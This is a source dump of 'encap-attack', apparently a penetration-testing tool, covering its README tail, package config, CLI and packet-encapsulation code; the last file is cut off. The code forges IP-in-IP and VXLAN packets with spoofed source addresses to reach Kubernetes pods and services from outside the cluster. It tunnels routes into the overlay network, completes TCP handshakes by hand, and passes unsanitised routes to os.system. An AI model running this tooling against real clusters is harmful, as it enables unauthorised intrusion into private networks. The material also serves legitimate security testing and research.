256 | 257 | 258 | ``` 259 | 260 | The `vxlan` subcommand also provides a tunnel option, similar to the `ipip` subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The `-a` flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per `kubeintel guess-cidr` above) - and this route will automatically be added to the tunnel. Additional routes can be added with the `-r` flag. Use Ctrl+C to shut down the tunnel. 261 | 262 | ```shell 263 | encap-attack -d -s -mi --vni -pd tunnel -a -r 264 | ``` 265 | 266 | Example: 267 | 268 | ``` 269 | # encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16 270 | Running in VXLAN mode 271 | 272 | Interface IP: 192.168.124.200 273 | 274 | Kubernetes API server certificate information: 275 | Subject: kube-apiserver 276 | Issuer: kubernetes 277 | IPs: 10.96.0.1, 192.168.124.9 278 | Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master 279 | 280 | Guessed service CIDR: 10.96.0.0/12 281 | kube-dns DNS server may be available at: 10.96.0.10:53 282 | Cluster DNS suffix: cluster.local 283 | 284 | 285 | Starting tunnel tun0, press Ctrl+C to stop... 286 | 287 | 288 | Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 289 | Sending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'" 290 | ``` 291 | 292 | All requests to the defined routes (in this example, `10.2.0.0/16`, `10.3.0.0/16`, and the service IP range guessed from information from the API server - `10.96.0.0/12`) will then be encapsulated and routed into the overlay network. This permits the usage of other tooling (e.g., `nmap`) within the overlay network from an external perspective: 293 | 294 | ```shell 295 | nmap -sT 10.2.0.0/16 296 | ``` 297 | 298 | # Acknowledgements 299 | 300 | This tool was initially developed by [Matthew Grove](https://github.com/mgrove36) at WithSecure Consulting. 301 | 302 | It was inspired by research conducted by [Rory McCune](https://raesene.github.io/blog/2021/01/03/Kubernetes-is-a-router/) and [James Cleverley-Prance](https://www.youtube.com/watch?v=7iwnwbbmxqQ). 303 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "encap-attack" 7 | version = "1.0.0" 8 | license = {file = "LICENSE"} 9 | description = "Network sniffing and attacks using IP-in-IP and VXLAN" 10 | requires-python = ">= 3.7" 11 | classifiers = [ 12 | "Programming Language :: Python :: 3.8", 13 | "Operating System :: OS Independent", 14 | ] 15 | dependencies = [ 16 | "cffi", 17 | "click", 18 | "cryptography", 19 | "getmac", 20 | "ipaddress", 21 | "packaging", 22 | "pycparser", 23 | "pyOpenSSL", 24 | "pyproject_hooks", 25 | "scapy", 26 | ] 27 | authors = [ 28 | {name = "Matthew Grove", email = "me@mgrove.uk"}, 29 | {name = "Matthew Grove", email = "matthew.grove@withsecure.com"} 30 | ] 31 | readme = "README.md" 32 | 33 | [project.scripts] 34 | encap-attack = "encap_attack.tool:cli" 35 | 36 | [project.urls] 37 | Homepage = "https://github.com/WithSecureLabs/encap-attack" 38 | Repository = "https://github.com/WithSecureLabs/encap-attack" 39 | -------------------------------------------------------------------------------- /src/encap_attack/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReversecLabs/encap-attack/2f1e915ddbbd7b232df50586e6891f340550e952/src/encap_attack/__init__.py -------------------------------------------------------------------------------- /src/encap_attack/tool.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | from cryptography.utils import CryptographyDeprecationWarning 3 | warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning) 4 | import click 5 | from encap_attack.utils.encapsulation_models import * 6 | from encap_attack.utils.util_models import * 7 | from typing import Optional 8 | 9 | @click.group(context_settings={'max_content_width': 99999}) 10 | @click.option("-i", "--iface", type=str, help="Network interface to use", default=None) 11 | @click.option("--ip", type=str, help="Interface IP address", default=None) 12 | @click.option("--verbose/--no-verbose", "-v", type=bool, help="Verbose mode enabled", default=False) 13 | @click.pass_context 14 | def cli(ctx, iface: Optional[str], ip: Optional[str], verbose: bool) -> None: 15 | """A CLI tool to facilitate communication and tunneling into overlay networks, in particular for penetration testing.""" 16 | 17 | ctx.ensure_object(dict) 18 | if iface: 19 | click.echo(f"Forcing interface: {iface}\n") 20 | ctx.obj["iface"] = iface 21 | ctx.obj["iface_ip"] = ip 22 | ctx.obj["verbose"] = verbose 23 | if (verbose): 24 | click.echo("Verbose mode is on") 25 | 26 | @cli.command() 27 | @click.option("-t", "--timeout", type=int, help="Sniff timeout in seconds [DEFAULT: None]", default=None) 28 | @click.pass_context 29 | def detect(ctx, timeout: Optional[int]) -> None: 30 | """Sniff network traffic to identify encapsulated packets.""" 31 | 32 | detectEncap(ctx.obj["iface"], timeout, ctx.obj["verbose"]) 33 | 34 | @cli.group() 35 | def kubeintel(): 36 | """Gain information about a Kubernetes cluster for use in future network encapsulation attacks.""" 37 | 38 | @kubeintel.command("attempt-ipip") 39 | @click.option("-a", "--api-server", type=str, help="API server IP address or hostname", required=True) 40 | @click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443) 41 | @click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node [DEFAULT: API server address]", default=None) 42 | @click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None) 43 | @click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None) 44 | @click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None) 45 | @click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53) 46 | @click.pass_context 47 | def attempt_ipip(ctx, api_server: str, api_server_port: int, intermediary_dst_ip: Optional[str], spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], src_port: Optional[int], dst_port: int) -> None: 48 | """Guess DNS server address based on Kubernetes API server certificate contents, and attempt to connect to it using IP-in-IP""" 49 | 50 | if (not intermediary_dst_ip): intermediary_dst_ip = api_server 51 | 52 | try: 53 | dns_suffix, _, dns_ip = guessRoutes(api_server, api_server_port) 54 | if (not dns_ip): 55 | raise ValueError("Unable to guess DNS server IP. Is the intermediary destination IP correct?") 56 | model = IPIPEncapsulationModel(intermediary_dst_ip, spoofed_src_ip, spoofed_src_mac, ctx.obj["iface"], ctx.obj["iface_ip"], ctx.obj["verbose"]) 57 | results = model.sendDNS(dns_ip, "kube-dns.kube-system.svc." + dns_suffix, "A", dst_port=dst_port, src_port=src_port) 58 | if len(results.items()) == 0: 59 | raise ValueError("Unable to connect to DNS server using IP-in-IP. Try a different intermediary destination IP (another node), a different source IP, or VXLAN?") 60 | click.secho("\nConnected to DNS server with IP-in-IP", fg="green", bold=True) 61 | except ValueError as e: 62 | click.secho(f"\n{e}", fg="red", bold=True) 63 | 64 | @kubeintel.command("get-ip-ranges") 65 | def get_ip_ranges() -> None: 66 | """List commands to obtain pod/service IP ranges from kubectl, via the kube-apiserver.""" 67 | 68 | click.echo() 69 | click.echo("To obtain pod/service IP ranges for a cluster, run the following command(s).") 70 | click.echo("- Pod CIDR:") 71 | click.secho(" kubectl cluster-info dump | grep -m 1 cluster-cidr | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True) 72 | click.echo("- Service CIDR:") 73 | click.secho(" kubectl cluster-info dump | grep -m 1 service-cluster-ip-range | awk -F= '{print$2}' | awk -F\\\" '{print $1}'", fg="cyan", bold=True) 74 | click.echo() 75 | 76 | @kubeintel.command("get-net-info") 77 | @click.option("-c", "--cni", type=click.Choice(["calico", "flannel"]), help="CNI") 78 | def get_net_info(cni: Optional[str]) -> None: 79 | """List commands to obtain VTEPs and VNIs from different Kubernetes CNIs, via the kube-apiserver.""" 80 | 81 | click.echo() 82 | click.echo("To obtain network info (VNIs and VTEPs - internal destination MAC addresses) for a cluster, run the following command(s).") 83 | if (cni == "calico" or cni == None): 84 | cmd_vtep = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.spec.vxlanTunnelMACAddr}{\"\\n\"}{end}'" 85 | click.echo("- Calico VTEP:") 86 | click.secho(f" {cmd_vtep}", fg="cyan", bold=True) 87 | click.echo("- Calico VNI:") 88 | cmd_vni = "kubectl get felixconfiguration -o jsonpath='{.items[0].spec.vxlanVNI}'" 89 | click.secho(f" {cmd_vni}", fg="cyan", bold=True) 90 | if (cni == "flannel" or cni == None): 91 | cmd = "kubectl get node -o jsonpath='{range .items[*]}{.metadata.name}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/public-ip}{\"\\t\"}{.metadata.annotations.flannel\.alpha\.coreos\.com/backend-data}{\"\\n\"}{end}'" 92 | click.echo("- Flannel VTEP & VNI:") 93 | click.secho(f" {cmd}", fg="cyan", bold=True) 94 | click.echo() 95 | 96 | @kubeintel.command("guess-cidr") 97 | @click.option("-p", "--api-server-port", type=int, help="API server port [DEFAULT: 6443]", default=6443) 98 | @click.argument("api_server") 99 | def guess_cidr(api_server_port: int, api_server: str) -> None: 100 | """Guess the Kubernetes service IP range based on the certificate from the API server at API_SERVER.""" 101 | 102 | click.echo() 103 | guessRoutes(api_server, api_server_port) 104 | click.echo() 105 | 106 | 107 | @cli.group() 108 | @click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True) 109 | @click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None) 110 | @click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None) 111 | @click.pass_context 112 | def ipip(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str]) -> None: 113 | """Suite of IP-in-IP functionality.""" 114 | 115 | click.echo("Running in IP-in-IP mode\n") 116 | ctx.ensure_object(dict) 117 | ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip 118 | ctx.obj["spoofed_src_ip"] = spoofed_src_ip 119 | ctx.obj["spoofed_src_mac"] = spoofed_src_mac 120 | ctx.obj["model"] = IPIPEncapsulationModel(ctx.obj["intermediary_dst_ip"], ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"]) 121 | 122 | @ipip.group("request") 123 | @click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True) 124 | @click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None) 125 | @click.pass_context 126 | def ipip_request(ctx, dst_ip: str, src_port: Optional[int]) -> None: 127 | """Send an IP-in-IP encapsulated request.""" 128 | 129 | ctx.ensure_object(dict) 130 | ctx.obj["dst_ip"] = dst_ip 131 | ctx.obj["src_port"] = src_port 132 | 133 | @ipip_request.command("http") 134 | @click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80) 135 | @click.argument("http_request") 136 | @click.pass_context 137 | def ipip_http(ctx, dst_port: int, http_request: str) -> None: 138 | """Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT.""" 139 | 140 | ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"]) 141 | 142 | @ipip_request.command("dns") 143 | @click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True) 144 | @click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53) 145 | @click.argument("query_name") 146 | @click.pass_context 147 | def ipip_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None: 148 | """Send a DNS request, QUERY_NAME, of type QUERY_NAME.""" 149 | 150 | ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"]) 151 | 152 | @ipip.command("tunnel") 153 | @click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True) 154 | @click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface") 155 | @click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route") 156 | @click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443) 157 | @click.pass_context 158 | def ipip_tunnel(ctx, route: list[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None: 159 | """Open IP-in-IP tunnel via INTERMEDIARY_DESTINATION for each ROUTE.""" 160 | 161 | if (kube_api_server): 162 | click.echo() 163 | route = list(route) 164 | route.extend(guessRoutes(kube_api_server, kube_api_server_port)[1]) 165 | click.echo() 166 | tunnel_meta = TunnelMeta(route, direct_routing_gateway) 167 | ctx.obj["model"].runTunnel(tunnel_meta) 168 | 169 | 170 | 171 | @cli.group() 172 | @click.option("-d", "--intermediary-dst-ip", type=str, help="Intermediary destination IP - for Kubernetes, use the destination node", required=True) 173 | @click.option("-s", "--spoofed-src-ip", type=str, help="Spoofed packet source IP address [DEFAULT: interface IP]", default=None) 174 | @click.option("-m", "--spoofed-src-mac", type=str, help="Spoofed packet source MAC address [DEFAULT: MAC associated with spoofed source IP (obtained with ARP)]", default=None) 175 | @click.option("-mi", "--inner-dst-mac", type=str, help="Inner destination MAC address (VTEP) - for Kubernetes, use the VTEP of the destination node", required=True) 176 | @click.option("--vni", type=int, help="VXLAN VNI - use 4096 for Calico, 1 for Flannel [DEFAULT: 4096]", default=4096) 177 | @click.option("-ps", "--vxlan-src-port", type=int, help="VXLAN packet source port [DEFAULT: random port 1000-65000]", default=None) 178 | @click.option("-pd", "--vxlan-dst-port", type=int, help="VXLAN packet destination port - use 4789 for Calico, 8472 for Flannel [DEFAULT: 4789]", default=4789) 179 | @click.pass_context 180 | def vxlan(ctx, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str], inner_dst_mac: str, vni: int, vxlan_src_port: Optional[int], vxlan_dst_port: int) -> None: 181 | """Suite of VXLAN functionality.""" 182 | 183 | click.echo("Running in VXLAN mode\n") 184 | ctx.ensure_object(dict) 185 | ctx.obj["intermediary_dst_ip"] = intermediary_dst_ip 186 | ctx.obj["spoofed_src_ip"] = spoofed_src_ip 187 | ctx.obj["spoofed_src_mac"] = spoofed_src_mac 188 | ctx.obj["vni"] = vni 189 | ctx.obj["vxlan_src_port"] = vxlan_src_port 190 | ctx.obj["vxlan_dst_port"] = vxlan_dst_port 191 | ctx.obj["model"] = VXLANEncapsulationModel(ctx.obj["intermediary_dst_ip"], inner_dst_mac, vni, vxlan_src_port, vxlan_dst_port, ctx.obj["spoofed_src_ip"], ctx.obj["spoofed_src_mac"], ctx.obj["iface"], ctx.obj["iface_ip"], verbose=ctx.obj["verbose"]) 192 | 193 | @vxlan.group("request") 194 | @click.option("-di", "--dst-ip", type=str, help="Internal destination IP - for Kubernetes, use pod/service IP", required=True) 195 | @click.option("-ps", "--src-port", type=int, help="Source port [DEFAULT: random port 1000-65000]", default=None) 196 | @click.pass_context 197 | def vxlan_request(ctx, dst_ip: str, src_port: Optional[int]) -> None: 198 | """Send a VXLAN encapsulated request.""" 199 | 200 | ctx.ensure_object(dict) 201 | ctx.obj["dst_ip"] = dst_ip 202 | ctx.obj["src_port"] = src_port 203 | 204 | @vxlan_request.command("http") 205 | @click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 80]", default=80) 206 | @click.argument("http_request") 207 | @click.pass_context 208 | def vxlan_http(ctx, dst_port: int, http_request: str) -> None: 209 | """Send an HTTP request, HTTP_REQUEST, to a client at port DST_PORT.""" 210 | 211 | ctx.obj["model"].sendHTTP(http_request, ctx.obj["dst_ip"], dst_port=dst_port, src_port=ctx.obj["src_port"]) 212 | 213 | @vxlan_request.command("dns") 214 | @click.option("-t", "--query-type", type=click.Choice(["SRV", "A", "AAAA", "CNAME"]), help="DNS record query type", required=True) 215 | @click.option("-pd", "--dst-port", type=int, help="Destination port [DEFAULT: 53]", default=53) 216 | @click.argument("query_name") 217 | @click.pass_context 218 | def vxlan_dns(ctx, query_type: str, dst_port: int, query_name: str) -> None: 219 | """Send a DNS request, QUERY_NAME, of type QUERY_NAME.""" 220 | 221 | ctx.obj["model"].sendDNS(ctx.obj["dst_ip"], query_name, query_type, dst_port=dst_port, src_port=ctx.obj["src_port"]) 222 | 223 | @vxlan.command("tunnel") 224 | @click.option("-r", "--route", type=str, help="Route to add via tunnel - multiple allowed", multiple=True) 225 | @click.option("-g", "--direct-routing-gateway", type=str, help="Local tunnel gateway IP address to enable routing directly into tunnel interface") 226 | @click.option("-a", "--kube-api-server", type=str, help="Kubernetes API server IP address or hostname - if provided, will attempt to guess Kubernetes service IP range and add it as a route") 227 | @click.option("-p", "--kube-api-server-port", type=int, help="Kubernetes API server port [DEFAULT: 6443]", default=6443) 228 | @click.pass_context 229 | def vxlan_tunnel(ctx, route: tuple[str], direct_routing_gateway: Optional[str], kube_api_server: Optional[str], kube_api_server_port: int) -> None: 230 | """Open VXLAN tunnel via INTERMEDIARY_DESTINATION for each ROUTE.""" 231 | 232 | if (kube_api_server): 233 | route = list(route) 234 | click.echo() 235 | _, svc_route, _ = guessRoutes(kube_api_server, kube_api_server_port) 236 | route.extend(svc_route) 237 | click.echo() 238 | tunnel_meta = TunnelMeta(route, direct_routing_gateway) 239 | ctx.obj["model"].runTunnel(tunnel_meta) 240 | 241 | if __name__ == "__main__": 242 | cli() 243 | -------------------------------------------------------------------------------- /src/encap_attack/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ReversecLabs/encap-attack/2f1e915ddbbd7b232df50586e6891f340550e952/src/encap_attack/utils/__init__.py -------------------------------------------------------------------------------- /src/encap_attack/utils/encapsulation_models.py: -------------------------------------------------------------------------------- 1 | from abc import ABC, abstractmethod 2 | from scapy.all import * 3 | from random import randint 4 | from getmac import get_mac_address as get_mac 5 | from encap_attack.utils.util_models import * 6 | from encap_attack.utils.utils import * 7 | from time import sleep 8 | import click 9 | from typing import Optional, Union 10 | 11 | class EncapsulationModel(ABC): 12 | 13 | @abstractmethod 14 | def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str], spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None: 15 | """Initialise an encapsulation model.""" 16 | 17 | if (iface): 18 | self._iface = iface 19 | self._iface_calculated = False 20 | else: 21 | self._iface = str(conf.iface) 22 | self._iface_calculated = True 23 | if (iface_ip): 24 | self._iface_ip = iface_ip 25 | else: 26 | self._iface_ip = getIfaceIp(self._iface) 27 | click.echo("Interface IP: " + click.style(self._iface_ip, fg="cyan", bold=True)) 28 | self._iface_mac = get_mac(self._iface_ip) 29 | self._spoofed_src_ip = spoofed_src_ip 30 | if (spoofed_src_mac): 31 | self._spoofed_src_mac = spoofed_src_mac 32 | else: 33 | self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip) 34 | self._spoofed_src_mac = get_mac(ip=self._spoofed_src_ip) 35 | self._intermediary_dst_ip = intermediary_dst_ip 36 | self._intermediary_dst_mac = get_mac(ip=self._intermediary_dst_ip) 37 | self._verbose = verbose 38 | 39 | @abstractmethod 40 | def _getPacketHeader(self) -> Packet: 41 | """Get the header frames for a packet.""" 42 | 43 | pass 44 | 45 | def _sendPacket(self, packet, name: str = "", wait: bool = True, newline: bool = True) -> None: 46 | """Send an Ether packet.""" 47 | 48 | if wait: sleep(0.1) # this ensures sniffers have started properly before we expect a response 49 | if (name == ""): name = "packet" 50 | if newline: click.echo() 51 | if (self._verbose): 52 | click.secho(f"Sending {name}:", fg="magenta", bold=True) 53 | click.echo(packet.show2(dump=True)) 54 | else: 55 | click.echo(click.style(f"Sending {name}: ", fg="magenta", bold=True) + str(packet)) 56 | if self._iface_calculated: 57 | sendp(packet, loop=0, verbose=self._verbose) 58 | else: 59 | sendp(packet, loop=0, verbose=self._verbose, iface=self._iface) 60 | 61 | def _verboseSnifferPacketHandler(self, packet: Packet) -> None: 62 | """Log a sniffed packet if in verbose mode.""" 63 | 64 | if (self._verbose): 65 | click.echo(f"\n\nSniffed packet:\n{packet.show2(dump=True)}") 66 | 67 | def _getAsyncSniffer(self, filter: str, count: int) -> AsyncSniffer: 68 | """Get a Scapy AsyncSniffer, forcing the interface to use if required.""" 69 | 70 | if self._iface_calculated: 71 | s = AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler) 72 | return s 73 | else: 74 | return AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler, iface=self._iface) 75 | 76 | def __processTunnelPacket(self, packet: Packet) -> None: 77 | """Encapsulate a packet and send it on.""" 78 | 79 | if (IP not in packet or packet[IP].dst != self._iface_ip): 80 | if (self._verbose): click.echo("\n") 81 | click.echo(f"\nEncapsulating packet: {packet}") 82 | encapsulatedPacket = self._getPacketHeader() / packet 83 | self._sendPacket(encapsulatedPacket, "encapsulated packet", wait=False, newline=False) 84 | elif (self._verbose): 85 | click.echo(f"Ignoring packet: {packet.summary()}") 86 | 87 | def runTunnel(self, tunnel_meta: TunnelMeta) -> None: 88 | """Start a tun interface to encapsulate specific traffic before sending.""" 89 | 90 | tun_number = 0 91 | while (os.path.exists(f"/sys/net/tun{tun_number}")): 92 | tun_number += 1 93 | tun_iface = f"tun{tun_number}" 94 | t = TunTapInterface(tun_iface) 95 | os.system(f"ip link set {tun_iface} up") 96 | os.system(f"ip a add {self._iface_ip} dev {tun_iface}") 97 | if (self._verbose): click.echo(f"Created tunnel interface {tun_iface}") 98 | for route in tunnel_meta.getRoutes: 99 | os.system(f"ip ro add {route} dev {tun_iface}") 100 | if (self._verbose): click.echo(f"Added route for {route} via tunnel interface {tun_iface}") 101 | direct_routing_gateway_ip = tunnel_meta.getDirectRoutingGatewayIP 102 | if (direct_routing_gateway_ip): 103 | os.system(f"ip a add {direct_routing_gateway_ip} dev {tun_iface}") 104 | os.system(f"iptables -t mangle -A PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}") 105 | if (self._verbose): click.echo(f"Added gateway IP {direct_routing_gateway_ip} to tunnel interface {tun_iface} and started duplicating all incoming packets on {self._iface} to this interface") 106 | click.secho(f"\nStarting tunnel {tun_iface}, press Ctrl+C to stop...\n", fg="magenta", bold=True) 107 | try: 108 | sniff(prn=self.__processTunnelPacket, iface=tun_iface, store=0) 109 | finally: 110 | click.secho("\n\nTunnel closed", fg="red") 111 | if (direct_routing_gateway_ip): 112 | os.system(f"iptables -t mangle -D PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}") 113 | if (self._verbose): click.echo(f"Stopped duplicating incoming packets to tunnel interface") 114 | if (self._verbose): click.echo(f"Deleted tunnel interface {tun_iface}") 115 | 116 | def __submitHTTP(self, request_payload: str, dst_ip: str, dst_port: int, src_port: int) -> list: 117 | """Send an encapsulated HTTP request and return the response.""" 118 | 119 | request_payload = request_payload.replace("\\n", "\n").replace("\\r", "\r") 120 | os.system(f"iptables -A OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP") 121 | 122 | full_header = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip) 123 | 124 | syn_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="S") 125 | syn_sniff = self._getAsyncSniffer(filter=f"tcp and port {src_port}", count=1) 126 | syn_sniff.start() 127 | self._sendPacket(syn_packet, "SYN") 128 | syn_sniff.join() 129 | if (not hasattr(syn_sniff, "results") or len(syn_sniff.results) < 1): 130 | click.secho("\nRequest timed out.", fg="red", bold=True) 131 | return [] 132 | synack = syn_sniff.results[0] 133 | 134 | ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=3) 135 | ack_sniff.start() 136 | ack_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=synack[TCP].ack, ack=synack[TCP].seq+1) 137 | self._sendPacket(ack_packet, "ACK") 138 | 139 | ack_push = full_header / TCP(sport=src_port, dport=dst_port, flags="AP", seq=synack[TCP].ack, ack=synack[TCP].seq+1) / Raw(load=request_payload) 140 | self._sendPacket(ack_push, "ACK PUSH") 141 | 142 | ack_sniff.join() 143 | 144 | if (not hasattr(ack_sniff, "results") or len(ack_sniff.results) < 3): 145 | click.secho("\nRequest timed out.", fg="red", bold=True) 146 | return [] 147 | 148 | if ("F" in ack_sniff.results[2][TCP].flags): 149 | click.echo("Server closing connection") 150 | ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq) 151 | self._sendPacket(ack, "ACK") 152 | fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1) 153 | self._sendPacket(fin_ack, "FIN ACK") 154 | else: 155 | ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[1][TCP].ack, ack=ack_sniff.results[1][TCP].seq+1) 156 | self._sendPacket(ack, "ACK") 157 | fin_ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=1) 158 | 159 | fin_ack_sniff.start() 160 | fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1) 161 | self._sendPacket(fin_ack, "FIN ACK") 162 | fin_ack_sniff.join() 163 | 164 | final_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=fin_ack_sniff.results[0][TCP].ack, ack=fin_ack_sniff.results[0][TCP].seq+1) 165 | self._sendPacket(final_ack, "ACK") 166 | 167 | os.system(f"iptables -D OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP") 168 | return ack_sniff.results 169 | 170 | def sendHTTP(self, request_payload: str, dst_ip: str, dst_port: int = 80, src_port: Optional[int] = None) -> None: 171 | """Submit an encapsulated HTTP request and print the response.""" 172 | 173 | if (not src_port): src_port = randint(1000,65000) 174 | if (self._verbose): click.echo(f"TCP source port: {src_port}") 175 | 176 | response = self.__submitHTTP(request_payload + "\r\n\r\n", dst_ip, dst_port, src_port) 177 | click.echo("\nResponse:") 178 | if (len(response) > 1): 179 | click.echo() 180 | for r in response: 181 | if hasattr(r[TCP], "load"): click.echo(r[TCP].load) 182 | else: 183 | click.secho(" No response returned.", fg="red", bold=True) 184 | 185 | def __submitDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int, src_port: int) -> dict[str, Union[str, int]]: 186 | """Send an encapsulated DNS request and return the response.""" 187 | 188 | packet = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) / DNS(rd=1, qd=DNSQR(qname=qname,qtype=qtype)) 189 | 190 | sniff = self._getAsyncSniffer(filter=f"udp and port {src_port}", count=1) 191 | sniff.start() 192 | self._sendPacket(packet, "DNS packet") 193 | sniff.join() 194 | 195 | if (len(sniff.results) == 0): 196 | click.secho("\nRequest timed out.", fg="red", bold=True) 197 | return {} 198 | 199 | try: 200 | response = sniff.results[0][UDP] 201 | except: 202 | click.secho("Unable to process response.", fg="red", bold=True) 203 | return {} 204 | results = {} 205 | 206 | for i in range(0, response.ancount): 207 | record = response.an[i] 208 | if (qtype == "SRV"): 209 | name = record.target.decode().rstrip('.') 210 | results[name] = record.port 211 | else: 212 | name = record.rrname.decode().rstrip(".") 213 | results[name] = record.rdata 214 | 215 | return results 216 | 217 | def sendDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int = 53, src_port: Optional[int] = None) -> dict[str, Union[str, int]]: 218 | """Send an encapsulated DNS request and print the response.""" 219 | 220 | if (not src_port): src_port = randint(1000,65000) 221 | 222 | results = self.__submitDNS(dst_ip, qname, qtype, dst_port, src_port) 223 | 224 | click.echo("\nResponse:") 225 | for name, port in results.items(): 226 | click.secho(f" {name}: {port}", fg="green", bold=True) 227 | if len(results.items()) == 0: 228 | click.secho(" No records returned.", fg="red", bold=True) 229 | return results 230 | 231 | class IPIPEncapsulationModel(EncapsulationModel): 232 | 233 | def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None: 234 | """Initialise an IP-in-IP encapsulation model.""" 235 | 236 | super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose) 237 | 238 | def _getPacketHeader(self) -> Packet: 239 | """Get an IP-in-IP header.""" 240 | 241 | ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac) 242 | return ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip) 243 | 244 | class VXLANEncapsulationModel(EncapsulationModel): 245 | 246 | def __init__(self, intermediary_dst_ip: str, inner_dst_mac: str, vni: int = 4096, vxlan_src_port: Optional[int] = None, vxlan_dst_port: int = 4789, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, 